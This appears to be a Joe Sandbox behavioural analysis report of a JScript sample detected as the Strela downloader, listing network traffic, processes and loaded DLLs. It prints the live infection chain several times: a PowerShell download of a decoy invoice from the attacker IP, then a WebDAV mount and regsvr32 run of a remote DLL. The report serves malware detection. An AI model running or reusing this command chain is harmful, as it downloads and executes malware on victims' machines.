TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1446085571.000001F3554CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1519118058.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1519067007.000002B0E0498000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1505486156.000002B0E04EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1507927011.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1519118058.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1507927011.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/42
Source: net.exe, 00000007.00000002.1519118058.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1507927011.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/M
Source: net.exe, 00000007.00000002.1519067007.000002B0E0498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/j
Source: svchost.exe, 00000009.00000002.2736348957.000001D5FBE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1505633675.000001D5FBCB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3832, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1637664207127019.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5180:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fontttvj.hns.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1644,i,4128501452193625723,2576668886724992794,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1644,i,4128501452193625723,2576668886724992794,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
